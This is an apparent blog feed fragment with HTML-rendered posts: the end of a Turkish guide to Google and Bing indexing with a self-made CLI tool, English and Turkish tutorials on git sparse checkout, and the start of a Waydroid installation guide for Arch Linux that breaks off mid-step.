class="o">=</span> <span class="n">AuthorizedSession</span><span class="p">(</span><span class="n">credentials</span><span class="p">)</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'urls.csv'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span> <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">reader</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span> <span class="n">url</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="n">body</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'url'</span><span class="p">:</span> <span class="n">url</span><span class="p">,</span> <span class="s1">'type'</span><span class="p">:</span> <span class="s1">'URL_UPDATED'</span><span class="p">}</span> <span class="n">response</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">API_URL</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">body</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2"> -&gt; </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡ H&inodot;zl&inodot; &ccedil;&ouml;z&uuml;mler veya k&inodot;sa yollar i&ccedil;in.</p> <p>Kod i&ccedil;erisindeki <code>URL_UPDATED</code> parametresi sayfan&inodot;n eklendi&gbreve;ini veya g&uuml;ncellendi&gbreve;ini belirtir. E&gbreve;er sitenden u&ccedil;urdu&gbreve;un bir i&ccedil;eri&gbreve;i Google dizininden de silmek istersen <code>URL_DELETED</code> parametresini g&ouml;ndermen gerekir.</p> </div> <hr/> <h2 id="coklu-projeler-icin-modern-cozum-google-bing-indexing-tool">🔧 &Ccedil;oklu Projeler &Idot;&ccedil;in Modern &Ccedil;&ouml;z&uuml;m: Google &amp; Bing Indexing Tool<a class="headerlink" href="#coklu-projeler-icin-modern-cozum-google-bing-indexing-tool" title="Permanent link">#</a></h2> <p>Yukar&inodot;daki gibi ham kodlarla u&gbreve;ra&scedil;mak, her g&uuml;n elle betik &ccedil;al&inodot;&scedil;t&inodot;rmak tam bir makarna-yo&gbreve;urt &ouml;&gbreve;renci yeme&gbreve;i &ccedil;&ouml;z&uuml;m&uuml; olurdu. Profesyonel &ccedil;al&inodot;&scedil;&inodot;yorsak, i&scedil;i daha temiz halletmeliyiz.</p> <p>Kendi projelerimde ya&scedil;ad&inodot;&gbreve;&inodot;m dizin sorunlar&inodot;n&inodot; tek elden &ccedil;&ouml;zmek i&ccedil;in geli&scedil;tirdi&gbreve;im a&ccedil;&inodot;k kaynakl&inodot; <a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank">Google Indexing Tool</a> projesi, t&uuml;m bu s&uuml;reci otomatik ve ak&inodot;ll&inodot; hale getiriyor. &Uuml;stelik sadece Google ile s&inodot;n&inodot;rl&inodot; kalmay&inodot;p Bing IndexNow entegrasyonu da sunuyor.</p> <p>En tatl&inodot; taraf&inodot; ne biliyor musun? Bu arac&inodot; sistemine <strong>global</strong> olarak kurup, bilgisayar&inodot;ndaki t&uuml;m farkl&inodot; blog projelerinde tek bir komutla &ccedil;al&inodot;&scedil;t&inodot;rabiliyorsun.</p> <h3 id="global-kurulum-ve-hazrlk">📦 Global Kurulum ve Haz&inodot;rl&inodot;k<a class="headerlink" href="#global-kurulum-ve-hazrlk" title="Permanent link">#</a></h3> <p>Terminale ge&ccedil;ip &scedil;u komutla arac&inodot; do&gbreve;rudan GitHub &uuml;zerinden sistemine kurabilirsin:</p> <div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>git+https://github.com/yuceltoluyag/google-indexing-tool.git </code></pre></div> <p>Bu komut sistemine <code>google-indexer</code> ad&inodot;nda global bir CLI komutu tan&inodot;mlar. Art&inodot;k hangi blog klas&ouml;r&uuml;nde olursan ol, bu komutla dizin y&ouml;netimini yapabilirsin.</p> <p>Blog projenin ana dizininde bir adet <code>config.ini</code> dosyas&inodot; olu&scedil;tur ve i&ccedil;eri&gbreve;ini sitene g&ouml;re doldur:</p> <div class="highlight"><pre><span></span><code><span class="k">[PELICAN]</span> <span class="na">ARTICLES_PATH</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">content/articles</span> <span class="na">SITE_URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/</span> <span class="k">[DEFAULT]</span> <span class="na">CSV_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">article_links.csv</span> <span class="na">SERVICE_ACCOUNT_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">service-account.json</span> <span class="na">LOG_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">indexing.log</span> <span class="k">[API]</span> <span class="na">URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://indexing.googleapis.com/v3/urlNotifications:publish</span> <span class="na">REQUEST_DELAY_SECONDS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">COOLDOWN_DAYS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">3</span> <span class="k">[BING]</span> <span class="na">API_KEY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">senin_bing_indexnow_api_anahtarin</span> <span class="na">KEY_LOCATION</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/senin_bing_indexnow_api_anahtarin.txt</span> </code></pre></div> <div class="admonition note"> <p class="admonition-title">Not: Cooldown ve &Idot;stek Gecikmeleri</p> <p><code>COOLDOWN_DAYS = 3</code> ayar&inodot; sayesinde, Google'&inodot;n hen&uuml;z dizine eklemedi&gbreve;i ama bizim bildirim g&ouml;nderdi&gbreve;imiz sayfalar 3 g&uuml;n boyunca korumaya al&inodot;n&inodot;r. Bu sayede her g&uuml;n bo&scedil; yere ayn&inodot; linki g&ouml;nderip Google'dan spam damgas&inodot; yemeyiz. <code>REQUEST_DELAY_SECONDS = 10</code> ise API istekleri aras&inodot;na es vererek h&inodot;z limitlerine tak&inodot;lman&inodot; &ouml;nler.</p> </div> <hr/> <h3 id="adm-adm-akll-calsma-duzeni">⚙️ Ad&inodot;m Ad&inodot;m Ak&inodot;ll&inodot; &Ccedil;al&inodot;&scedil;ma D&uuml;zeni<a class="headerlink" href="#adm-adm-akll-calsma-duzeni" title="Permanent link">#</a></h3> <p>Her &scedil;ey haz&inodot;rsa, terminalde projenin dizinine ge&ccedil;ip &scedil;u komutlar&inodot; s&inodot;ras&inodot;yla ko&scedil;turmaya ba&scedil;la:</p> <h4 id="adm-1-pelican-yazlarn-veritabanna-aktar">Ad&inodot;m 1: Pelican Yaz&inodot;lar&inodot;n&inodot; Veritaban&inodot;na Aktar<a class="headerlink" href="#adm-1-pelican-yazlarn-veritabanna-aktar" title="Permanent link">#</a></h4> <p>Blogundaki t&uuml;m g&uuml;ncel makaleleri taray&inodot;p takip listesine (<code>article_links.csv</code>) ekler:</p> <div class="highlight"><pre><span></span><code>google-indexer<span class="w"> </span><span class="nb">export</span> </code></pre></div> <h4 id="adm-2-bing-indexnow-ile-toplu-gonderim-yap">Ad&inodot;m 2: Bing IndexNow ile Toplu G&ouml;nderim Yap<a class="headerlink" href="#adm-2-bing-indexnow-ile-toplu-gonderim-yap" title="Permanent link">#</a></h4> <p>Bing, tek tek u&gbreve;ra&scedil;mak yerine t&uuml;m yeni linkleri tek bir paket halinde kabul eder. Bu y&uuml;zden olduk&ccedil;a pratiktir:</p> <div class="highlight"><pre><span></span><code><span class="c1"># &Ouml;nce sim&uuml;lasyon yap&inodot;p ne gidece&gbreve;ine bak:</span> google-indexer<span class="w"> </span>bing<span class="w"> </span>--dry-run <span class="c1"># Canl&inodot; olarak Bing'e g&ouml;nder:</span> google-indexer<span class="w"> </span>bing </code></pre></div> <h4 id="adm-3-akll-google-denetimi-ve-gonderimi-smart-mod">Ad&inodot;m 3: Ak&inodot;ll&inodot; Google Denetimi ve G&ouml;nderimi (Smart Mod)<a class="headerlink" href="#adm-3-akll-google-denetimi-ve-gonderimi-smart-mod" title="Permanent link">#</a></h4> <p>Bak&inodot;n buras&inodot; can yakar, en hayati ad&inodot;md&inodot;r. Bu komut, takip listesindeki hen&uuml;z do&gbreve;rulanmam&inodot;&scedil; URL'lerin durumunu Google Arama Konsolu API'si<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> &uuml;zerinden tek tek denetler. E&gbreve;er sayfa zaten dizine eklenmi&scedil;se durumunu <code>PASS</code> yapar. H&acirc;l&acirc; eklenmemi&scedil;se ve cooldown s&uuml;resi ge&ccedil;mi&scedil;se Google Indexing API'ye g&ouml;nderip 3 g&uuml;nl&uuml;k bekleme sayac&inodot;n&inodot; ba&scedil;lat&inodot;r.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Zarars&inodot;z bir deneme turu atal&inodot;m:</span> google-indexer<span class="w"> </span>smart<span class="w"> </span>--dry-run<span class="w"> </span>--limit<span class="w"> </span><span class="m">10</span> <span class="c1"># Canl&inodot; denetim ve g&ouml;nderimi ba&scedil;lat:</span> google-indexer<span class="w"> </span>smart<span class="w"> </span>--limit<span class="w"> </span><span class="m">50</span> </code></pre></div> <p>E&gbreve;er sadece belirli bir URL'nin durumunu merak ediyorsan, API limitlerini harcamadan direkt &scedil;u komutla sorgulama yapabilirsin:</p> <div class="highlight"><pre><span></span><code>google-indexer<span class="w"> </span>inspect<span class="w"> </span>--url<span class="w"> </span>https://yuceltoluyag.github.io/yazi-linki/ </code></pre></div> <hr/> <h2 id="seo-perspektifi-ve-limit-politikalar_1">⏳ SEO Perspektifi ve Limit Politikalar&inodot;<a class="headerlink" href="#seo-perspektifi-ve-limit-politikalar" title="Permanent link">#</a></h2> <p>Arama motorlar&inodot;n&inodot;n API'lerini kullan&inodot;rken asgari &uuml;cretle ge&ccedil;inmeye &ccedil;al&inodot;&scedil;an bir i&scedil;&ccedil;inin b&uuml;t&ccedil;e planlamas&inodot; kadar titiz olmal&inodot;y&inodot;z. S&inodot;n&inodot;rlar nettir: - <strong>Google Indexing API:</strong> G&uuml;nl&uuml;k limit <strong>200 URL</strong> ile s&inodot;n&inodot;rl&inodot;d&inodot;r. Bu y&uuml;zden smart komutunda limit parametresini 50 veya 100 band&inodot;nda tutmak ak&inodot;ll&inodot;ca bir plan olur. - <strong>Bing IndexNow API:</strong> Tek seferde <strong>10.000 URL</strong>'ye kadar toplu g&ouml;nderime izin verir. - <strong>Spam Korumas&inodot;:</strong> Durmadan ayn&inodot; linkleri g&ouml;ndermek sitenin arama motorlar&inodot; g&ouml;z&uuml;ndeki itibar&inodot;n&inodot; s&inodot;f&inodot;rlar. Ara&ccedil;taki cooldown mekanizmas&inodot;n&inodot; asla devre d&inodot;&scedil;&inodot; b&inodot;rakma.</p> <hr/> <h2 id="neler-ogrendik">📋 Neler &Ouml;&gbreve;rendik?<a class="headerlink" href="#neler-ogrendik" title="Permanent link">#</a></h2> <ul> <li>Google Indexing API ile yeni i&ccedil;eriklerimizi g&uuml;nlerce beklemeden an&inodot;nda botlara duyurabiliyoruz.</li> <li>Google Cloud &uuml;zerinden hizmet hesab&inodot; olu&scedil;turup Search Console'da "Sahibi" olarak yetkilendirmek i&scedil;in temel &scedil;art&inodot;d&inodot;r.</li> <li>Geli&scedil;tirdi&gbreve;imiz <code>google-indexer</code> arac&inodot; sayesinde t&uuml;m s&uuml;reci yerel bir CSV veritaban&inodot; &uuml;zerinden ak&inodot;ll&inodot;ca y&ouml;netip spama d&uuml;&scedil;meyi engelliyoruz.</li> <li>Bing IndexNow entegrasyonu ile tek komutta Bing dizinlerini de g&uuml;ncel tutabiliyoruz.</li> </ul> <hr/> <h2 id="son-soz">🎯 Son S&ouml;z<a class="headerlink" href="#son-soz" title="Permanent link">#</a></h2> <p>Laf&inodot;n k&inodot;sas&inodot;, Google botlar&inodot;n&inodot;n sitene u&gbreve;ramas&inodot;n&inodot; pasif &scedil;ekilde beklemek yerine kontrol&uuml; eline alabilirsin. Bu sistemi sunucunda ya da bilgisayar&inodot;nda g&uuml;nl&uuml;k bir g&ouml;rev zamanlay&inodot;c&inodot;ya ba&gbreve;layarak arkana yaslanabilirsin.</p> <p><strong>Bunlar&inodot; da &Idot;ncele:</strong> - <a href="/github-sadece-bir-klasor-indirme/">Git sparse-checkout rehberi</a> - <a href="/otomatik-bing-indexnow-kullanimi">Bing IndexNow kullan&inodot;m&inodot; rehberi</a></p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Google Search Console API, web sitenizin g&uuml;ncel dizin durumunu ve kapsama hatalar&inodot;n&inodot; do&gbreve;rudan kod &uuml;zerinden sorgulaman&inodot;z&inodot; sa&gbreve;layan resmi API aray&uuml;z&uuml;d&uuml;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-10-27T03:15:00+03:002025-10-27T03:15:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-10-27:/en/github-sadece-bir-klasor-indirme/

<p>Don't download the entire GitHub repo, just download a specific folder. Save time and disk space with the sparse checkout method.</p>

<h2 id="introduction">Introduction<a class="headerlink" href="#introduction" title="Permanent link">#</a></h2> <p>In some projects, instead of downloading the entire repository on GitHub, you may need <strong>only a specific folder</strong>. For example, you might want to take only design files from a large project. In this guide, I'll show you step by step how to do this with the <strong>Git Sparse Checkout</strong> method ⚡</p> <p>At the end of this guide:</p> <ul> <li>You'll be able to download only the folder you want,</li> <li>You'll save time and disk space by getting rid of unnecessary files,</li> <li>You'll be able to easily apply in Arch Linux and other Linux distributions.</li> </ul> <hr/> <h2 id="what-is-sparse-checkout">What is Sparse Checkout?<a class="headerlink" href="#what-is-sparse-checkout" title="Permanent link">#</a></h2> <p><strong>Git Sparse Checkout</strong> is a feature that allows you to pull only specific files or folders from a Git repository instead of the entire repository.</p> <h3 id="advantages">Advantages<a class="headerlink" href="#advantages" title="Permanent link">#</a></h3> <ul> <li>Reduces download time in large repositories,</li> <li>Saves disk space,</li> <li>You don't have to deal with unnecessary files.</li> </ul> <hr/> <h2 id="step-by-step-implementation_1">Step by Step Implementation<a class="headerlink" href="#step-by-step-implementation" title="Permanent link">#</a></h2> <h3 id="1-create-a-new-folder-and-initialize-git">1️⃣ Create a New Folder and Initialize Git<a class="headerlink" href="#1-create-a-new-folder-and-initialize-git" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>pico-v2<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>pico-v2 git<span class="w"> </span>init </code></pre></div> <h3 id="2-add-remote-repository">2️⃣ Add Remote Repository<a class="headerlink" href="#2-add-remote-repository" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>git<span class="w"> </span>remote<span class="w"> </span>add<span class="w"> </span>origin<span class="w"> </span>https://github.com/picocss/examples.git </code></pre></div> <h3 id="3-enable-sparse-checkout">3️⃣ Enable Sparse Checkout<a class="headerlink" href="#3-enable-sparse-checkout" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>git<span class="w"> </span>config<span class="w"> </span>core.sparseCheckout<span class="w"> </span><span class="nb">true</span> </code></pre></div> <h3 id="4-specify-the-folder-you-want-to-download">4️⃣ Specify the Folder You Want to Download<a class="headerlink" href="#4-specify-the-folder-you-want-to-download" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s2">"v2-sass-customized-design-system/"</span><span class="w"> </span>&gt;&gt;<span class="w"> </span>.git/info/sparse-checkout </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Attention 💡 The folder path should be written according to the repository root directory.</p> </div> <h3 id="5-download-only-the-relevant-folder">5️⃣ Download Only the Relevant Folder<a class="headerlink" href="#5-download-only-the-relevant-folder" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>git<span class="w"> </span>pull<span class="w"> </span>origin<span class="w"> </span>master </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Branch check ⚠️ If the repository uses the <code>main</code> branch, you should use <code>git pull origin main</code>.</p> </div> <hr/> <h2 id="result_1">Result<a class="headerlink" href="#result" title="Permanent link">#</a></h2> <p>Now only the folder you need has been downloaded:</p> <div class="highlight"><pre><span></span><code>pico-v2/v2-sass-customized-design-system/ </code></pre></div> <h3 id="summary">Summary<a class="headerlink" href="#summary" title="Permanent link">#</a></h3> <ul> <li>You can pull only specific folders without downloading the entire GitHub repository.</li> <li>Sparse checkout saves time and disk in large projects.</li> <li>Can be easily applied on Linux ⚡</li> </ul> <hr/> <h2 id="resources_1">Resources<a class="headerlink" href="#resources" title="Permanent link">#</a></h2> <ul> <li><a href="https://github.com/picocss/examples" rel="noopener noreferrer" target="_blank">GitHub Repository</a></li> <li><a href="https://git-scm.com/docs/git-sparse-checkout" rel="noopener noreferrer" target="_blank">Git Sparse Checkout Documentation</a></li> </ul> <p>This feature exists in GitLab UI, why doesn't GitHub UI have it? 🤔</p> <p><img alt="Git Sparse Kullan&inodot;m&inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/git-sparse-checkout-rehberi-xl.webp" srcset="/images/git-sparse-checkout-rehberi-sm.webp 300w, /images/git-sparse-checkout-rehberi-md.webp 500w, /images/git-sparse-checkout-rehberi-lg.webp 800w, /images/git-sparse-checkout-rehberi-xl.webp 1200w"/></p>2025-10-27T03:15:00+03:002025-10-27T03:15:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-10-27:/github-sadece-bir-klasor-indirme/

<p>GitHub reposunun tamamını değil, sadece belirli bir klasörünü indir. Sparse checkout yöntemi ile zaman ve disk alanı tasarrufu sağla.</p>

<h2 id="giris">Giri&scedil;<a class="headerlink" href="#giris" title="Permanent link">#</a></h2> <p>Baz&inodot; projelerde GitHub&rsquo;daki bir repository&rsquo;nin tamam&inodot;n&inodot; indirmek yerine <strong>sadece belirli bir klas&ouml;re</strong> ihtiya&ccedil; duyars&inodot;n&inodot;z. &Ouml;rne&gbreve;in b&uuml;y&uuml;k bir proje i&ccedil;inden sadece tasar&inodot;m dosyalar&inodot;n&inodot; almak isteyebilirsiniz. Bu rehberde <strong>Git Sparse Checkout</strong> y&ouml;ntemi ile bunu nas&inodot;l yapaca&gbreve;&inodot;n&inodot; ad&inodot;m ad&inodot;m g&ouml;sterece&gbreve;iz ⚡</p> <p>Bu rehberin sonunda:</p> <ul> <li>Sadece istedi&gbreve;iniz klas&ouml;r&uuml; indirebileceksiniz,</li> <li>Gereksiz dosyalardan kurtulup zaman ve disk alan&inodot; tasarrufu sa&gbreve;layacaks&inodot;n&inodot;z,</li> <li>Arch Linux ve di&gbreve;er Linux da&gbreve;&inodot;t&inodot;mlar&inodot;nda kolayca uygulayabileceksiniz.</li> </ul> <hr/> <h2 id="sparse-checkout-nedir">Sparse Checkout Nedir?<a class="headerlink" href="#sparse-checkout-nedir" title="Permanent link">#</a></h2> <p><strong>Git Sparse Checkout</strong>, bir Git deposunun tamam&inodot;n&inodot; de&gbreve;il sadece belirli dosya veya klas&ouml;rlerini &ccedil;al&inodot;&scedil;ma dizinine &ccedil;ekmeye yarayan bir &ouml;zelliktir.</p> <h3 id="avantajlar">Avantajlar&inodot;<a class="headerlink" href="#avantajlar" title="Permanent link">#</a></h3> <ul> <li>B&uuml;y&uuml;k repolarda indirme s&uuml;resini azalt&inodot;r,</li> <li>Disk alan&inodot; tasarrufu sa&gbreve;lar,</li> <li>Gereksiz dosyalarla u&gbreve;ra&scedil;mak zorunda kalmazs&inodot;n&inodot;z.</li> </ul> <hr/> <h2 id="adm-adm-uygulama_1">Ad&inodot;m Ad&inodot;m Uygulama<a class="headerlink" href="#adm-adm-uygulama" title="Permanent link">#</a></h2> <h3 id="1-yeni-bir-klasor-olustur-ve-git-baslat">1️⃣ Yeni Bir Klas&ouml;r Olu&scedil;tur ve Git Ba&scedil;lat<a class="headerlink" href="#1-yeni-bir-klasor-olustur-ve-git-baslat" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>pico-v2<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nb">cd</span><span class="w"> </span>pico-v2 git<span class="w"> </span>init </code></pre></div> <h3 id="2-uzak-repoyu-ekleyin">2️⃣ Uzak Repo&rsquo;yu Ekleyin<a class="headerlink" href="#2-uzak-repoyu-ekleyin" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>git<span class="w"> </span>remote<span class="w"> </span>add<span class="w"> </span>origin<span class="w"> </span>https://github.com/picocss/examples.git </code></pre></div> <h3 id="3-sparse-checkoutu-etkinlestir">3️⃣ Sparse Checkout'u Etkinle&scedil;tir<a class="headerlink" href="#3-sparse-checkoutu-etkinlestir" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>git<span class="w"> </span>config<span class="w"> </span>core.sparseCheckout<span class="w"> </span><span class="nb">true</span> </code></pre></div> <h3 id="4-indirmek-istediginiz-klasoru-belirtin">4️⃣ &Idot;ndirmek &Idot;stedi&gbreve;iniz Klas&ouml;r&uuml; Belirtin<a class="headerlink" href="#4-indirmek-istediginiz-klasoru-belirtin" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s2">"v2-sass-customized-design-system/"</span><span class="w"> </span>&gt;&gt;<span class="w"> </span>.git/info/sparse-checkout </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Dikkat 💡 Klas&ouml;r yolu repository k&ouml;k dizinine g&ouml;re yaz&inodot;lmal&inodot;d&inodot;r.</p> </div> <h3 id="5-sadece-ilgili-klasoru-indir">5️⃣ Sadece &Idot;lgili Klas&ouml;r&uuml; &Idot;ndir<a class="headerlink" href="#5-sadece-ilgili-klasoru-indir" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>git<span class="w"> </span>pull<span class="w"> </span>origin<span class="w"> </span>master </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Branch kontrol&uuml; ⚠️ E&gbreve;er repo <code>main</code> branch kullan&inodot;yorsa <code>git pull origin main</code> kullanmal&inodot;s&inodot;n&inodot;z.</p> </div> <hr/> <h2 id="sonuc_1">Sonu&ccedil;<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>Art&inodot;k sadece ihtiyac&inodot;n&inodot;z olan klas&ouml;r indirildi:</p> <div class="highlight"><pre><span></span><code>pico-v2/v2-sass-customized-design-system/ </code></pre></div> <h3 id="ozet">&Ouml;zet<a class="headerlink" href="#ozet" title="Permanent link">#</a></h3> <ul> <li>GitHub reposunun tamam&inodot;n&inodot; indirmeden sadece belirli klas&ouml;rleri &ccedil;ekebilirsiniz.</li> <li>Sparse checkout, b&uuml;y&uuml;k projelerde zaman ve disk tasarrufu sa&gbreve;lar.</li> <li>Linux &uuml;zerinde kolayca uygulanabilir ⚡</li> </ul> <hr/> <h2 id="kaynaklar_1">Kaynaklar<a class="headerlink" href="#kaynaklar" title="Permanent link">#</a></h2> <ul> <li><a href="https://github.com/picocss/examples" rel="noopener noreferrer" target="_blank">GitHub Repository</a></li> <li><a href="https://git-scm.com/docs/git-sparse-checkout" rel="noopener noreferrer" target="_blank">Git Sparse Checkout Documentation</a></li> </ul> <p>Bu &ouml;zellik gitlab ui'inde var,github ui'inde neden yok acaba? 🤔</p> <p><img alt="Git Sparse Kullan&inodot;m&inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/git-sparse-checkout-rehberi-xl.webp" srcset="/images/git-sparse-checkout-rehberi-sm.webp 300w, /images/git-sparse-checkout-rehberi-md.webp 500w, /images/git-sparse-checkout-rehberi-lg.webp 800w, /images/git-sparse-checkout-rehberi-xl.webp 1200w"/></p>2025-10-26T03:00:00+03:002025-10-26T03:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-10-26:/en/arch-linux-waydroid-kurulumu/

<p>Install Waydroid on Arch Linux and run Android apps on your desktop with advanced settings. Enable binder modules and enhance your gaming experience.</p>

<script type="application/ld+json">{"@context": "https://schema.org", "@type": "VideoObject", "name": "Waydroid Installation on Arch Linux: Binder Modules and Advanced Settings", "description": "<p>Install Waydroid on Arch Linux and run Android apps on your desktop with advanced settings. Enable binder modules and enhance your gaming experience.</p>", "thumbnailUrl": "https://i.ytimg.com/vi/HVQBmWN5ZaU/hqdefault.jpg", "uploadDate": "2025-10-26T03:00:00+03:00", "embedUrl": "https://www.youtube.com/embed/HVQBmWN5ZaU"}</script> <h2 id="introduction">Introduction<a class="headerlink" href="#introduction" title="Permanent link">#</a></h2> <p>If you want to <strong>install Waydroid on Arch Linux</strong>, you're in the right place. In this guide, we will show you step by step what Waydroid is, which packages are required, how to load system modules, and how to run Waydroid for the first time.</p> <p>Waydroid is a project that allows you to run Android applications in a <strong>container</strong> on Linux. It runs the Android environment directly over <strong>LXC (Linux Containers)</strong> on your system without installing a virtual machine. This way, you get a much faster, integrated, and resource-friendly Android experience ⚡</p> <p>At the end of this guide:</p> <ul> <li>You will be able to install Waydroid on Arch Linux from scratch,</li> <li>You will learn how to enable binder modules,</li> <li>You will manage Waydroid system services,</li> <li>You will be able to start Android applications on your desktop smoothly,</li> <li>You will be able to optimize the gaming experience with advanced features.</li> </ul> <hr/> <h2 id="what-is-waydroid">What is Waydroid?<a class="headerlink" href="#what-is-waydroid" title="Permanent link">#</a></h2> <p><strong>Waydroid</strong> is an open-source tool designed to run Android applications on Linux systems. Simply put:</p> <blockquote> <p>It runs the Android operating system in an isolated environment directly on the Linux kernel without closing system resources to a virtual machine.</p> </blockquote> <p>Waydroid uses <strong>LXC</strong> based container technology. Thanks to this:</p> <ul> <li>Performance is much higher than virtual machines,</li> <li>Hardware acceleration can be used,</li> <li>System resources are shared efficiently.</li> </ul> <h3 id="basic-components">Basic Components<a class="headerlink" href="#basic-components" title="Permanent link">#</a></h3> <table> <thead> <tr> <th>Component</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><strong>waydroid</strong></td> <td>Main command line tool</td> </tr> <tr> <td><strong>binder_linux</strong></td> <td>Provides Android binder interface</td> </tr> <tr> <td><strong>ashmem_linux</strong></td> <td>Android shared memory module</td> </tr> <tr> <td><strong>systemd services</strong></td> <td>Automatically starts Waydroid's container</td> </tr> </tbody> </table> <hr/> <h2 id="step-1-installing-required-packages_1">Step 1: Installing Required Packages<a class="headerlink" href="#step-1-installing-required-packages" title="Permanent link">#</a></h2> <p>First, let's install Waydroid and required modules on your system. For Arch Linux users, using <code>pacman</code> and <code>yay</code> is the easiest method.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-Syu<span class="w"> </span>lxc<span class="w"> </span>python-gbinder yay<span class="w"> </span>-S<span class="w"> </span>waydroid </code></pre></div> <div class="admonition tip"> <p class="admonition-title">If <code>yay</code> is not installed 💡</p> </div> <p>To install the <code>yay</code> helper tool:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>base-devel<span class="w"> </span>git git<span class="w"> </span>clone<span class="w"> </span>https://aur.archlinux.org/yay.git <span class="nb">cd</span><span class="w"> </span>yay makepkg<span class="w"> </span>-si </code></pre></div> <hr/> <h2 id="step-2-enabling-binder-and-ashmem-modules">Step 2: Enabling Binder and Ashmem Modules<a class="headerlink" href="#step-2-enabling-binder-and-ashmem-modules" title="Permanent link">#</a></h2> <p>For Waydroid to communicate with Android components, the <strong>binder</strong> and <strong>ashmem</strong> modules must be active.</p> <div class="highlight"><pre><span></span><code>lsmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>binder lsmod<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>ashmem </code></pre></div> <p>If there is no output:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>modprobe<span class="w"> </span>binder_linux sudo<span class="w"> </span>modprobe<span class="w"> </span>ashmem_linux </code></pre></div> <div class="admonition note"> <p class="admonition-title">To make permanent ⚡ If you want to load modules automatically at each restart:</p> </div> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span>-e<span class="w"> </span><span class="s2">"binder_linux\nashmem_linux"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sudo<span class="w"> </span>tee<span class="w"> </span>/etc/modules-load.d/waydroid.conf </code></pre></div> <hr/> <h2 id="step-3-enabling-waydroid-services">Step 3: Enabling Waydroid Services<a class="headerlink" href="#step-3-enabling-waydroid-services" title="Permanent link">#</a></h2> <p>Waydroid uses two main services on the system:</p> <ul> <li><code>waydroid-container.service</code></li> <li><code>waydroid-session.service</code></li> </ul> <p>To enable services:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>--now<span class="w"> </span>waydroid-container.service </code></pre></div> <p>Check status:</p> <div class="highlight"><pre><span></span><code>systemctl<span class="w"> </span>status<span class="w"> </span>waydroid-container.service 